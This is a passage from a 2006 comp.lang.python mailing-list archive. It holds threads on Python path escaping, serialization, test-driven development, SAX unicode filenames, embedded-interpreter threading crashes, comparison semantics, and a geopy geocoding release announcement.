class T(object):
    def getUser(self):
        return "user"
    def asXML(self, data):
        return "<xml>%s</xml>"%(data)
    @returnXML(getUser)
    def getUserAsXML(self):pass



t = T()
print t.getUserAsXML()


From ironpythonster at gmail.com  Tue Oct 10 10:32:49 2006
From: ironpythonster at gmail.com (Kevien Lee)
Date: Tue, 10 Oct 2006 22:32:49 +0800
Subject: A problem about File path encode
In-Reply-To: <7.0.1.0.0.20061010065236.04290218@yahoo.com.ar>
References: <8c8dcbe30610091814g195c9ddcv4c29f33fa29e425@mail.gmail.com>
	<7.0.1.0.0.20061010065236.04290218@yahoo.com.ar>
Message-ID: <8c8dcbe30610100732r49c7e735u532184e1e9015445@mail.gmail.com>

Hi ,
I agree with the problem caue of the the *escape character,*but when i
folllow
these meth,it still didn't work.
It is so strang that the code work on another computer (OS is WinXP),but
throw
error on mine.Why?plese help me


On 10/10/06, Gabriel Genellina <gagsl-py at yahoo.com.ar> wrote:
>
> At Monday 9/10/2006 22:14, Kevien Lee wrote:
>
> >   There is a problem about File path encode ,when i want to parse
> > an xml file.
> >     xmldoc=minidom.parse("D:\Downloads\1.xml")
> >IOError: [Errno 2] No such file or directory: 'D:\\Downloads\x01.xml'
> >
> >See the red line.the file path"D:\Downloads\1.xml" auto  changed
> >'D:\\Downloads\x01.xml'
> >
> >I think may be the version cause the problem (version2.4) at the
> >beginning,but when i changed the version2.5 ,
>
> *\ is a escape character. Use "D:\\Downloads\\1.xml" or
> r"D:\Downloads\1.xml" or "D:/Downloads/1.xml"
> (I wrote this same message a few hours ago...!)
> *
>
>
> --
> Gabriel Genellina
> Softlab SRL
>
>
>
>
>
> __________________________________________________
> Pregunt?. Respond?. Descubr?.
> Todo lo que quer?as saber, y lo que ni imaginabas,
> est? en Yahoo! Respuestas (Beta).
> ?Probalo ya!
> http://www.yahoo.com.ar/respuestas
>
>
>
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From hanumizzle at gmail.com  Fri Oct  6 01:05:26 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 01:05:26 -0400
Subject: help on pickle tool
In-Reply-To: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
Message-ID: <463ff4860610052205h32e683a9je5e60a2623069af@mail.gmail.com>

On 5 Oct 2006 21:52:56 -0700, virg <06virg at gmail.com> wrote:
> Hi,
>      i have client-server application which is written in python using
> XMLRPC protocol. The existing client is a command line. Now client
> application we are converting it as Web UI using java. I have seen some
> problems in writing a java client. At the server for each request from
> client, the server sends a response in hashtable and is serialized
> using "pickle". The python function we call at the server is...

What kind of data are we talking about? Is it strictly dictionary /
list stuff or is it more complex (functions & other objects)? I can
see 2 possible options: Jython or YAML. (I have been answering a lot
of questions re: serialization today and mentioned YAML in all of them
:))


From riklaunim at gmail.com  Wed Oct 25 15:04:38 2006
From: riklaunim at gmail.com (riklaunim at gmail.com)
Date: 25 Oct 2006 12:04:38 -0700
Subject: ANN: Diamanda Wiki and MyghtyBoard Forum Test 1
In-Reply-To: <1161802588.269677.139820@b28g2000cwb.googlegroups.com>
References: <1161801113.950400.169650@i3g2000cwc.googlegroups.com>
	<1161802588.269677.139820@b28g2000cwb.googlegroups.com>
Message-ID: <1161803078.426585.181760@i42g2000cwa.googlegroups.com>

> Might want to re-think your bboard app's name; people might think it
> runs on Myghty. :)
>
> -Jonathan

It did in very early stages ;) I've kept the name and if someone wants
- using myghty templates in Django is very easy.



From blair.houghton at gmail.com  Sun Oct  8 20:25:27 2006
From: blair.houghton at gmail.com (Blair P. Houghton)
Date: 8 Oct 2006 17:25:27 -0700
Subject: Google breaks Usenet (was Re: How can I correct an error in an
	old post?)
In-Reply-To: <tZwVg.9236$GR.2970@newssvr29.news.prodigy.net>
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
	<pvc9i2l14o2jhdapmqeudal2kvvuvtksht@4ax.com>
	<1160096371.564954.132860@b28g2000cwb.googlegroups.com>
	<4SmVg.9105$GR.2172@newssvr29.news.prodigy.net>
	<eg5j9c$g62$1@panix3.panix.com>
	<1160154253.956469.195400@m73g2000cwd.googlegroups.com>
	<tZwVg.9236$GR.2970@newssvr29.news.prodigy.net>
Message-ID: <1160353527.418619.191340@m73g2000cwd.googlegroups.com>


Bryan Olson wrote:
> Blair P. Houghton wrote:
> > Usenet isn't just the "send this message to all leaf nodes via tree"
> > behavior,
> > it's the "show me the message from 1987 or 1988 written by dickie
> > sexton where
> > he invents the '(*plonk*)' meme" behavior, and a lot of others.
>
> That makes Google the only non-broken Usenet service,
> the opposite of what the retitling of this thread claims.

It takes more than /one/ non-broken behavior to make
a non-broken system.

--Blair



From steve at holdenweb.com  Mon Oct 30 21:42:23 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 31 Oct 2006 02:42:23 +0000
Subject: Python windows interactive.
In-Reply-To: <1162253732.035128.91060@e3g2000cwe.googlegroups.com>
References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com>	<45467205.3000302@websafe.com>
	<1162253732.035128.91060@e3g2000cwe.googlegroups.com>
Message-ID: <ei6d48$ai0$1@sea.gmane.org>

notejam wrote:
> Thanks everyone for the help.   I got a simple two line program to work
> from a text file.
> Can not figure out how to write more than one line in interpreter mode.
>  Is that all interpreter is good for, testing one liners?  I have it
> run the program everytime I hit return, and can not figure out how to
> enter multiple lines of code.  I can do multiple lines in text file, so
> no problem, but I am jsut wondering can a program with 2 or more lines
> be wrote from the interpreter mode?
> 
The interactive interpreter is mostly for experimentation, but of course 
its advantage is that you can test out complex functionality imported 
from modules and packages. Want to know what's on the Google home page?

  >>> import urllib
  >>> f = urllib.urlopen("http://www.google.com")
  >>> data = f.read()
  >>> print data
<html><head><meta http-equiv="content-type" content="text/html; 
charset=ISO-8859
-1"><title>Google</title><style><!--
body,td,a,p,.h{font-family:arial,sans-serif}
.h{font-size:20px}
.q{color:#00c}
--></style>
<script>
<!--
function sf(){document.f.q.focus();}
// -->
</script>
</head><body bgcolor=#ffffff text=#000000 link=#0000cc vlink=#551a8b 
alink=#ff0000 onload=sf() topmargin=3 marginheight=3><center><div 
align=right nowrap style="padding-bottom:4px" width=100%><font size=-1> ...
<font size=-2>&copy;2006 Google</font></p></center></body>
</html>
  >>>

You can also define funcitons and classes, and write multi-line 
statements interactively once you learn the conventions, but once 
functionality "hardens" into something of five lines or more that you 
want to experiment with you will find it's usually easier to edit a 
script or program in a text file and run it. This is even more the case 
when you start to use "test-driven development", something we shoudl all 
aspire to.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From johnjsal at NOSPAMgmail.com  Wed Oct 18 16:59:06 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 18 Oct 2006 20:59:06 GMT
Subject: Classes and Functions - General Questions
In-Reply-To: <1161203230.765292.99380@f16g2000cwb.googlegroups.com>
References: <1161200542.603408.94630@k70g2000cwa.googlegroups.com>
	<slrnejd25v.7q6.sybrenUSE@schuimige.stuvel.eu>
	<1161203230.765292.99380@f16g2000cwb.googlegroups.com>
Message-ID: <uAwZg.112$1n3.3190@news.tufts.edu>

Setash wrote:

> Also, I have seen the following syntax used once before, and havent
> found any documentation on it, any comments as to use, where to find
> docs, etc?:
> 
>     from module import x as name
>     name.function()

All that does is give you a method for renaming a particularly unruly 
module name to something more manageable, such as this:

from xml.etree import ElementTree as ET

Then you can use "ET" to qualify your function calls and such.


From oliphant.travis at ieee.org  Wed Oct 18 03:30:58 2006
From: oliphant.travis at ieee.org (Travis E. Oliphant)
Date: Wed, 18 Oct 2006 01:30:58 -0600
Subject: How to convert this list to string?
In-Reply-To: <1161156050.529095.204770@e3g2000cwe.googlegroups.com>
References: <1161156050.529095.204770@e3g2000cwe.googlegroups.com>
Message-ID: <eh4l5b$8p4$1@sea.gmane.org>

Jia Lu wrote:
> Hi all
> 
>  I have a list like:
> 
>>>> list
> [1, 2, 3]
>>>> list[1:]
> [2, 3]
> 
> I want to get a string "2 3"
> 
>>>> str(list[1:])
> '[2, 3]'
> 
> How can I do that ?
> 

" ".join(str(x) for x in list)


-Travis



From rvtol+news at isolution.nl  Sat Oct 28 09:03:53 2006
From: rvtol+news at isolution.nl (Dr.Ruud)
Date: Sat, 28 Oct 2006 15:03:53 +0200
Subject: what are the most frequently used functions?
References: <1162020254.660829.124900@e3g2000cwe.googlegroups.com>
	<ehvevg$614$1@news.albasani.net> <ghH0h.91$pU3.67@trndny08>
	<ehvh1b$8q8$1@news.albasani.net>
Message-ID: <ehvrno.1d4.1@news.isolution.nl>

robert schreef:

> read more of the context and answer to the OP

That OP is invisible in most relevant contexts.

-- 
Affijn, Ruud

"Gewoon is een tijger."


From bignose+hates-spam at benfinney.id.au  Fri Oct 27 20:51:41 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sat, 28 Oct 2006 10:51:41 +1000
Subject: Test-driven development (was: Tracing the execution of scripts?)
References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com>
	<20061027023353.20948.138215951.divmod.quotient.1674@ohm>
	<mailman.1316.1161917350.11739.python-list@python.org>
	<dsCdne45_d6rZ9zYnZ2dnUVZ_tidnZ2d@comcast.com>
Message-ID: <87r6wtcleq.fsf_-_@benfinney.id.au>

"Michael B. Trausch" <mike$#at^&nospam!%trauschus at bag.python.org> writes:

> Ben Finney wrote:
> > Jean-Paul Calderone <exarkun at divmod.com> writes:
> > 
> >> 1) Write unit tests for your code.  Keep writing unit tests until
> >> you have some that _don't pass_.  Then fix your code so that they
> >> do.  When you do further development, write the tests first, then
> >> implement the code that makes them pass.
> > 
> > Hear hear.
> > 
> > Be advised, though, that attempting to apply unit tests to code
> > that wasn't designed with testing in mind may very quickly reveal
> > a poor design. [0] If you can't easily test pieces of the code
> > independently, you probably haven't written those pieces to be
> > loosely coupled and well-defined.
> >
>
> I will whole-heartedly admit that my code is probably poorly
> designed.  *shrug* Though, I *do* try to write everything in such a
> way as to be able to easily re-use it later.

The trick is to write pieces that are small and loosely-coupled, so
that small pieces of code (not just entire modules) can be re-used
without being re-written.

Test-driven development helps with this, because a small,
loosely-coupled piece of code is easy to test, so you will gravitate
toward that style.

> Besides, I am lazy... reuse certainly serves my needs there!  :-)

The programming virtues espoused by Larry Wall continue to hold true :-)

> I think I have more to learn on the concept of unit-testing.

> I have never seen a group push the idea so hard.

Writing each test before the functional code is not a new idea, but
Python makes it trivially easy to do, so the excuses for not doing it
are much weaker and easier to ridicule :-)

> I have read about unit testing before, and even written tests (in
> other languages) to test modules of library code that I put together
> once, but that was about it.

Here's an article that goes through the concepts, and happens to use
Python.

    <URL:http://www.onlamp.com/pub/a/python/2004/12/02/tdd_pyunit.html>

> I need to, I think, get more "into" the concept, though.  It isn't
> something that I am able to just whip out and go "Hey, a widget unit
> test!  And it works!" probably because of my own lack of practice.

One thing to note is that UI widgets shouldn't be the main thing
you're testing. You need to write code that can be easily tested
independent of everything else, because that way you can know that it
works and move on to other things quickly, building on it as a
foundation.

UI widgets should be as dumb as possible, because they don't make a
whole lot of sense by themselves except in the dumbest sense. Every
part of your program that actually does something interesting with
data or resources should be utterly independent of any UI
widgets. *That* is the code that you need to get right, so that should
be riddled with tests.

Your widgets should be plugging into code that dumbly passes the data
to the well-tested, UI-independent code that does work with that data;
and the widgest should be getting their data from such UI-independent
outputs. This is one aspect of "loose coupling": the code talks along
a very narrow, well-defined, simple interface to other parts of the
code.

UI code especially is prone to change entirely independent of the
desired functionality. for this reason, it's vital that you *can*
change the functionality and UI code each without needing to change
the other. The same principle applies along any interface between
parts of code that can be expected to change independent of each
other: loosely couple them together, with narrow well-defined
interfaces.

You may have heard of the "Model, View, Controller" pattern. This is a
design pattern that emphasises a loose coupling between the UI (the
"controller") and the data model, by abstracting each to the other via
a simple "view" interface module. That way, each of the Controller and
the Model can be oblivious to the most common changes in the other,
even when those changes make for complex code, because the View they
interact with stays simple and doesn't need to change.

    <URL:http://en.wikipedia.org/wiki/Model-view-controller>

The reason test-driven development is so useful here is that, in order
to write a test for something *before* it exists, you must think about
how that piece of code will interact with the rest of the code. You
must, in other words, design its interface before writing its
code. This is excellent, because it means you're focussing on exactly
the thing that will help to keep your overall design loosely coupled.

Then, after you have a test that interacts with this interface, all
you need to do is write the simplest code to satisfy that
interface. The temptation to write clever, complex code is reduced,
because you're now interested in satisfying the external test, not in
treating this piece of code as an awesome complex machine ignoring the
rest of the code.

Good luck with getting test infected :-)

    <URL:http://c2.com/cgi/wiki?TestInfected>

-- 
 \      "I bought a self learning record to learn Spanish. I turned it |
  `\        on and went to sleep; the record got stuck. The next day I |
_o__)                could only stutter in Spanish."  -- Steven Wright |
Ben Finney



From cginboston at hotmail.com  Tue Oct  3 07:02:45 2006
From: cginboston at hotmail.com (Chaz Ginger)
Date: Tue, 03 Oct 2006 11:02:45 GMT
Subject: Best way to handle large lists?
Message-ID: <prrUg.1662$We.477@trndny08>

I have a system that has a few lists that are very large (thousands or
tens of thousands of entries) and some that are rather small. Many times
I have to produce the difference between a large list and a small one,
without destroying the integrity of either list. I was wondering if
anyone has any recommendations on how to do this and keep performance
high? Is there a better way than

[ i for i in bigList if i not in smallList ]

Thanks.
Chaz


From gregpinero at gmail.com  Mon Oct  9 12:56:18 2006
From: gregpinero at gmail.com (=?ISO-8859-1?Q?Gregory_Pi=F1ero?=)
Date: Mon, 9 Oct 2006 12:56:18 -0400
Subject: WSGI - How Does It Affect Me?
In-Reply-To: <1160407856.216314.197210@k70g2000cwa.googlegroups.com>
References: <mailman.70.1160336094.11739.python-list@python.org>
	<1160407856.216314.197210@k70g2000cwa.googlegroups.com>
Message-ID: <312cfe2b0610090956j5b77303clc40584162c76ff7a@mail.gmail.com>

Thanks for all the answers everyone.  It's finally starting to come
together for me.  Bruno, I tried reading some tutorials but perhaps I
made the content out to be more complicated than it really was and got
confused.

So my final question is if WSGI will work on any web hosting company
that supports Python.  Mine currently is Nearly Free Speech and will
probably be running Python 2.5 soon (if that matters)  I'd like to try
out web.py at some point on there.  It looks like a nice framework.
Eventually maybe I'll try all of them.

(Sorry for not quoting here, but I'm kind of replying to everyone and
bottom posting would be really confusing I thinks?  Mailing list
poetic license perhaps ;-)

-Greg


From fredrik at pythonware.com  Wed Oct 11 06:51:40 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 11 Oct 2006 12:51:40 +0200
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net><pan.2006.10.09.18.24.45.251048@gmx.net><452b7aae$0$306$426a74cc@news.free.fr>
	<eghai4$615$1@online.de>
	<1160562945.079609.98640@m7g2000cwm.googlegroups.com>
Message-ID: <egiibs$bkv$1@sea.gmane.org>

Paul Boddie wrote:

> Meanwhile, the Web programming standardisation scene remains
> stagnant.

Aw, come on.  The Python web programming standardisation wars are over, for now.
There's Django, and there's TurboGears, and there's Zope 2/3, all with slightly different
approaches, and slightly different target audiences.  Unless you're doing really odd things,
one of these will be more than good enough for your application.

(as for WSGI, it's plumbing. You can of course build fun things from spare parts and
plumbing, and there are really interesting things going on in certain research labs, as usual,
but if you want turn-key stuff, pick one of the big three.)

</F> 





From edreamleo at charter.net  Wed Oct  4 09:37:49 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Wed, 4 Oct 2006 08:37:49 -0500
Subject: sax barfs on unicode filenames
Message-ID: <WOOUg.61$iP5.19@newsfe07.lga>

Hi.  Presumably this is a easy question, but anyone who understands the sax 
docs thinks completely differently than I do :-)



Following the usual cookbook examples, my app parses an open file as 
follows::



parser = xml.sax.make_parser()

parser.setFeature(xml.sax.handler.feature_external_ges,1)

# Hopefully the content handler can figure out the encoding from the <?xml> 
element.

handler = saxContentHandler(c,inputFileName,silent)

parser.setContentHandler(handler)

parser.parse(theFile)



Here 'theFile' is an open file.  Usually this works just fine, but when the 
filename contains u'\u8116' I get the following exception:



Traceback (most recent call last):



  File "c:\prog\tigris-cvs\leo\src\leoFileCommands.py", line 2159, in 
parse_leo_file

    parser.parse(theFile)



  File "c:\python25\lib\xml\sax\expatreader.py", line 107, in parse

    xmlreader.IncrementalParser.parse(self, source)



  File "c:\python25\lib\xml\sax\xmlreader.py", line 119, in parse

    self.prepareParser(source)



  File "c:\python25\lib\xml\sax\expatreader.py", line 111, in prepareParser

    self._parser.SetBase(source.getSystemId())



UnicodeEncodeError: 'ascii' codec can't encode character u'\u8116' in 
position 44: ordinal not in range(128)



Presumably the documentation at:



http://docs.python.org/lib/module-xml.sax.xmlreader.html



would be sufficient for a sax-head, but I have absolutely no idea of how to 
create an InputSource that can handle non-ascii filenames.



Any help would be appreciated.  Thanks!



Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From http  Wed Oct  4 17:25:12 2006
From: http (Paul Rubin)
Date: 04 Oct 2006 14:25:12 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<45240E19.3040000@v.loewis.de> <7xwt7f4yox.fsf@ruckus.brouhaha.com>
	<452423FF.6010601@v.loewis.de>
Message-ID: <7xirizbwp3.fsf@ruckus.brouhaha.com>

"Martin v. L?wis" <martin at v.loewis.de> writes:
> That, in principle, could happen to any other free software as well.
> What is critical here is that SF *hosted* the installation. If we would
> use a tracker that is free software, yet hosted it elsewhere, the same
> thing could happen: the hoster could make modifications to it which
> are non-free. Not even the GPL could protect from this case: the
> hoster would be required to publish source only if he publishes
> binaries, but he wouldn't publish any binaries, so he wouldn't need
> to release the source changes, either.

True, though GPL 3 tries to address that.  Most important is to figure
out the underlying attitude of the host.  I realize it's the same
crufty software (or worse) as SF and therefore maybe not so attractive
on those grounds already, but did you think about migrating to
Savannah?

> Also, even if it the software is open source and unmodified, there
> still wouldn't be a guarantee that you can get the data out of it
> if you want to. You *only* get the advantages of free software if
> you also run it yourself. Unfortunately, there is a significant
> cost associated with running the software yourself.

Well, if the cash is available, there's always the possibility of
using free software and paying someone to host it.  Anyway, I wouldn't
have expected running a tracker to be that significant a task compared
with the rest of the web site, the mailing lists, the Subversion
server, the codebase itself, etc. etc.  But Paul Boddie explained some
of the issues pretty well.

> Despite what other people say, this *is* an issue. On python.org,
> things that should get done don't, just because there is no
> volunteer doing them. Hosting such a service elsewhere has the
> clear advantage that you don't have to worry about most routine
> maintenance jobs.

I have to wonder too why Jira is so sure to be more reliable than SF.


From jordan.nick at gmail.com  Tue Oct  3 23:52:17 2006
From: jordan.nick at gmail.com (jordan.nick at gmail.com)
Date: 3 Oct 2006 20:52:17 -0700
Subject: A Universe Set
Message-ID: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>

Has the addition of a Universe Set object ever been suggested.  Like U
= set(0), so that any object was a member of U?  Maybe this gets into
some crazy Cantorian stuff since U is in U.  But it seems like it would
be useful and would have a nice symmetry with emptyset:set([]), that
is:

for any object a:
"a in set([])" returns False
"a in set(0)" returns True



From raduciurlea at gmail.com  Sat Oct 28 06:00:36 2006
From: raduciurlea at gmail.com (Radu Ciurlea)
Date: 28 Oct 2006 03:00:36 -0700
Subject: Sending mouse events on Windows
Message-ID: <1162029636.137310.103130@f16g2000cwb.googlegroups.com>

Hello,
I want to write a program that can generate mouse events. I'd like to
actually be able to control the pointer and generate clicks. Any
pointers on modules I could use for doing this? Any suggestions are
welcome.
tia

Radu



From hanumizzle at gmail.com  Tue Oct 10 01:55:29 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 10 Oct 2006 01:55:29 -0400
Subject: OT: Sarcasm and irony (was: Dive Into Java?)
In-Reply-To: <87y7rp9iyi.fsf_-_@benfinney.id.au>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
Message-ID: <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>

On 10/9/06, Ben Finney <bignose+hates-spam at benfinney.id.au> wrote:
> Bjoern Schliessmann <usenet-mail-0306.20.chr0n0ss at spamgourmet.com> writes:
>
> > E. g. [in Java there is] no operator overloading, but "+"
> > concatenation of strings. What if you'd like to implement your own
> > string-derived class? Ah, never mind. Operator overloading is
> > bad(tm) ;) <= Irony, definitely
>
> Definitely? That one strikes me more as sarcasm.

It would seem very few people know the definition of either word.

> (Yes, everything Alanis Morrissette complains of in her song "(Isn't
> It) Ironic" is not at all ironic, but is merely unfortunate. There's a
> possibility she was aware of this...

True. In almost every wedding I have ever been to, it was pissing rain.

-- Theerasak


From f.braennstroem at gmx.de  Sun Oct  8 16:08:41 2006
From: f.braennstroem at gmx.de (Fabian Braennstroem)
Date: Sun, 8 Oct 2006 22:08:41 +0200
Subject: Scientific computing and data visualization.
References: <mailman.85.1157564525.5279.python-list@python.org>
	<1157574433.664189.217960@m73g2000cwd.googlegroups.com>
	<mailman.100.1157579667.5279.python-list@python.org>
	<1157652641.877725.223880@h48g2000cwc.googlegroups.com>
	<45265EC2.1020100@gmx.de>
	<mailman.25.1160215769.11739.python-list@python.org>
	<1160306410.245567.116620@m7g2000cwm.googlegroups.com>
Message-ID: <egbls7$63v$1@sea.gmane.org>

Hi Bernhard,

* bernhard.voigt at gmail.com <bernhard.voigt at gmail.com> wrote:
>> > I can definitively second that. ROOT is a bit hard to learn but very,
>> > very powerful and PyRoot is really a pleasure to work with.
>>
>> It sounds interesting. Right now, I use matplotlib for
>> 2D plotting and vtk for 3D. Do you have any experience and
>> can give some recommendations?
>
> Hi Fabian!
>
> I recommend using matplotlib for data visualization, because the usage
> of the plotting commands is much(!!!) more convenient. In ROOT you have
> to create objects before you can draw your diagrams. The constructor
> often requires arguments about the number of space points, axis length,
> name etc. On the other hand, the figure itself has a GUI to manipulate
> the plot, which sometimes is nicer than doing everything in the script.
> In particular the 3D visualization seems to be more comprehensive (lots
> of drawing options, rotation of the plot with the mouse, changing of
> visualization lego, surf, contour plots etc.).
>
> ROOT has more than plotting. For example it has a whole bunch of
> containers to store very large amounts of data (within complex
> datastructures), fitting routines, minimizers etc. But you get that
> with scipy and numpy.
>
> I'm using 80% of the time matplotlib because it's much quicker for
> quick glances at your data. If I need sophisitcated 3D plots, I use
> ROOT, but I would love to switch to matplotlib for this, as well.
>
> My guess is that using python and matplotlib with scipy speeds up my
> work by at least 30% in comparison to using purely ROOT (and code in
> C++). And even 10-15% in comparison to the usage of ROOT with pyRoot.

Thanks for your advice!

Greetings!
 Fabian



From belred at gmail.com  Thu Oct 19 18:22:29 2006
From: belred at gmail.com (Bryan)
Date: Thu, 19 Oct 2006 15:22:29 -0700
Subject: callback crashing python
In-Reply-To: <eh65oa$v2g$1@sea.gmane.org>
References: <eh65oa$v2g$1@sea.gmane.org>
Message-ID: <eh8tr5$4os$1@sea.gmane.org>

Bryan wrote:
> hi,
> 
> i have a multithreaded c server that calls process_method in a different 
> c thread per each call.  process_method calls a python function bar in 
> module foo.  function bar calls back into c.  i've removed all the type 
> error handling and simplified the code to hopefully show a minimum 
> amount of code.  when only one request is hitting the server at a time 
> this works correctly even at fast speeds.  but as soon as a second 
> request is made concurrently, the python24.dll will crash and 
> session.callback() in the python code never returns.  i've tried 
> wrapping the callback code in PyGILState_Ensure(), PyEval_SaveThread() 
> without success.
> 
> does anyone know what i have to do to the c callback to prevent python 
> from crashing?
> 
> thanks,
> 
> bryan
> 
> 
> static void process_method(session *session)
> {
>      PyObject      *py_obj_session = NULL;
>      PyObject      *py_mod_foo     = NULL;
>      PyObject      *py_call_bar    = NULL;
>      PyThreadState *py_interp      = NULL;
> 
>      py_interp = get_py_interpreter(session);
>      PyEval_AcquireLock();
>      PyThreadState_Swap(py_interp);
>      py_obj_session = get_py_session(session);
> 
>      py_mod_foo = PyImport_ImportModule("foo");
>      py_call_bar = PyObject_GetAttrString(py_mod_foo, "bar");
>      PyObject_CallFunctionObjArgs(py_call_bar, py_obj_session, NULL);
> 
>      Py_XDECREF(py_call_bar);
>      Py_XDECREF(py_mod_foo);
>      Py_XDECREF(py_obj_session);
> 
>      PyThreadState_Swap(NULL);
>      PyEval_ReleaseLock();
> }
> 
> 
> # module bar
> 
> def bar(session):
>      session.callback()
> 
> 
> 
> /* session.callback() /*
> static PyObject* callback(PyObject *self, PyObject *args)
> {
>      Py_INCREF(Py_None);
>      return Py_None;
> }
> 

update... it's still crashing even without the callback.


function bar is now changed to something like this:

def bar(session):
     return 1

i'm calling this c method process_method concurrently in two process 
where each process is sending requests at a rate of approximately 100 
per second.  each request is processed on the server side in it's own c 
thread.  when the crash happens, it appears that the python code 
successfully completes.  in other words, it never crashes in the middle 
of function bar.  is PyEval_AquireLock, PyThreadState_Swap thread safe 
across c threads?


thanks,

bryan






From uval at rz.uni-karlsruhe.de  Wed Oct 25 13:12:23 2006
From: uval at rz.uni-karlsruhe.de (=?ISO-8859-1?Q?Sch=FCle_Daniel?=)
Date: Wed, 25 Oct 2006 19:12:23 +0200
Subject: basic questions on cmp, < and sort
Message-ID: <ehp5hu$foo$1@news2.rz.uni-karlsruhe.de>

Hello,

first question

In [117]: cmp("ABC",['A','B','C'])
Out[117]: 1

against what part of the list is the string "ABC" compared?

second question

In [119]: class X(object):
    .....:     pass
    .....:

In [120]: X() < X()
Out[120]: True

In [121]: X() < X()
Out[121]: False

In [122]: X() < X()
Out[122]: True

In [123]: X() < X()
Out[123]: True

In [124]: X() < X()
Out[124]: False

class X does not implement < and cmp
what is this comparision is based on?

third question

sort([[1,2,3],["ABC"],['Z','A'], X(), 4)

how does python handle heterogenous items in the list
in this case?

first I assumed that cmp function used in sort
is based on len, when the items are sequences, but this is wrong

Regards, Daniel


From marcobonifazi at gmail.com  Wed Oct 25 12:32:06 2006
From: marcobonifazi at gmail.com (Marco Bonifazi)
Date: 25 Oct 2006 09:32:06 -0700
Subject: Printing file with printer dialog
Message-ID: <1161793926.188138.133050@m73g2000cwd.googlegroups.com>

Hello!

I have a file (in my situation it is a Postscript file or a Pdf file,
but it isn't important).

I must send this file to a printer, using Python, and I need to select
the printer to which I want send this file.
Then I would use a Dialog Window.

I use PyGtk on Windows (but if I can open a dialog without PyGtk is
also good), I would know all methods to do it.

Thanks also if you don't answer!

Marco Bonifazi

http://www.bonifazi.eu



From g.brandl-nospam at gmx.net  Wed Oct  4 06:55:16 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Wed, 04 Oct 2006 12:55:16 +0200
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>
	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>
	<7xac4cpefr.fsf@ruckus.brouhaha.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <eg03un$se8$1@news.albasani.net>

Antoon Pardon wrote:
> On 2006-10-04, Paul Rubin <http> wrote:
>> Antoon Pardon <apardon at forel.vub.ac.be> writes:
>>> Now in this case you could start by assigning arg the value 1 and
>>> eliminate the if test. However that only works if you know the
>>> default value for the argument. What he seems to be asking for
>>> is if there is an object, (let as call it Default), that would
>>> make code like:
>>> 
>>>   def f(var=1):
>>> 
>>> Equivallent to:
>>> 
>>>   def f(var=Default)
>>>     if var is Default)
>>>       var = 1
>>
>> Oh, I see.  Yes, the OP should just use a distinct default value
>> instead of 1.  I usually do this with
>>
>>    sentinel = object()
>>
>>    def f(var=sentinel):
>>      if var is sentinel:
>>        # f was called without an arg 
> 
> But that can only work if you are the author of f. Take the
> following code:
> 
>   def myrepeat(obj, times = xxx):
>     return itertools.repeat(obj, times)
> 
> What value do I have to substitue for xxx, so that myrepeat
> will have the exact same function as itertools.repeat?

There's no possible value. You'll have to write this like

def myrepeat(obj, times=None):
     if times is None:
         return itertools.repeat(obj)
     else:
         return itertools.repeat(obj, times)

Many functions implemented in C have this behavior.

For all functions written in Python, you can look up the default
value in the source.

Georg


From exogen at gmail.com  Sun Oct  8 20:12:37 2006
From: exogen at gmail.com (Brian Beck)
Date: Sun, 08 Oct 2006 20:12:37 -0400
Subject: ANN: geopy 0.93 - Geocoding Toolbox for Python
Message-ID: <mailman.91.1160369812.11739.python-announce-list@python.org>

Hi everyone,

geopy 0.93 was released tonight.

What is geopy?
==============
geopy is a geocoding toolbox for Python. It includes support for many
popular geocoders including Google Maps, Yahoo! Maps, Virtual Earth,
geocoder.us, GeoNames, MediaWiki (with the GIS extension), and Semantic
MediaWiki. It also includes a module for calculating geodesic distances
using different models (spherical and ellipsoidal).


Where can I get it?
===================
setuptools: sudo easy_install geopy
Cheese Shop: http://cheeseshop.python.org/pypi/geopy
svn: svn co http://geopy.googlecode.com/svn/tags/release-0.93 geopy-0.93
Documentation: http://exogen.case.edu/projects/geopy


What's new in this version?
===========================
geopy.geocoders now includes GeoNames (www.geonames.org).

geopy.distance module was added: calculate geodesic distances.

geopy.util module was added: geocoders.Geocoder.parse_geo was moved there.

geopy.geocoders.Google can now be used with different domains (such
as 'maps.google.co.uk') and different resources ('maps' for the standard
Google Maps interface, 'maps/geo' for the HTTP geocoder interface).


How about an example?
=====================

